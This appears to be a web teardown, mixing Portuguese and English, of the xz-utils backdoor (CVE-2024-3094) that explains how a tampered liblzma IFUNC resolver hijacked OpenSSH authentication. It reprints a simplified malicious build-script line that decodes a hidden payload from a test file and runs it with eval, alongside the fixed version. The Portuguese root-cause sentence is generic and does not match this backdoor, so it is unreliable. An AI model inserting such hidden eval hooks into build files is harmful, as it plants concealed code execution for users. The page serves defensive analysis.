flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor
Análise técnica do código-fonte da CVE-2024-3094: como modificações maliciosas no resolvedor IFUNC do liblzma subverteram a autenticação do OpenSSH.
Imagine que um banco construa um cofre usando canos de encanamento padrão. As plantas oficiais são limpas. Mas o operário da fábrica que embala as caixas de transporte escorrega um fio eletrônico invisível dentro do cano. Quando o cano é parafusado no cofre no Linux, o fio se conecta à fechadura da porta da frente do banco (OpenSSH), permitindo que o operário abra o cofre a qualquer momento usando um controle remoto secreto. No CVE-2024-3094, o backdoor foi ocultado dentro de scripts de build nos arquivos tarball de lançamento para conceder acesso root não autenticado via SSH.
Open Source SystemsCWE-SecurityDefense-in-DepthA causa raiz decorre de parâmetros de limite não validados em sistemas de código aberto, permitindo a dessincronização de estado e a evasão dos controles de segurança.
Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.
During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.
The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.
When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])